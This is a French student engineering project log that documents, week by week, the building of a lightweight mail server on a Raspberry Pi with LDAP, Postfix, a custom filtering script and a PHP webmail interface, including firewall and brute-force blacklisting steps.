 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : OK&lt;br /&gt;
&lt;br /&gt;
Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 mailrte    unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient&lt;br /&gt;
Pas de grande nouveauté ici. Dans le fichier &amp;lt;code&amp;gt;main.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 virtual_transport = mailrte&lt;br /&gt;
&lt;br /&gt;
Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.&lt;br /&gt;
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).&lt;br /&gt;
&lt;br /&gt;
Corrections de bogues d'encodage des mails entre ISO et UTF8.&lt;br /&gt;
&lt;br /&gt;
Travail sur la création d'un paquet Debian.&lt;br /&gt;
&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
* Tournage de la vidéo du projet avec Laurent Engels du service Communication&lt;br /&gt;
* Fin de la rédaction du rapport final de PFE&lt;br /&gt;
* Rédaction du diaporama de présentation orale du PFE&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Code de l'interface + README expliquant le contenu : [https://intimail.pw intiMail.pw]&lt;br /&gt;
&lt;br /&gt;
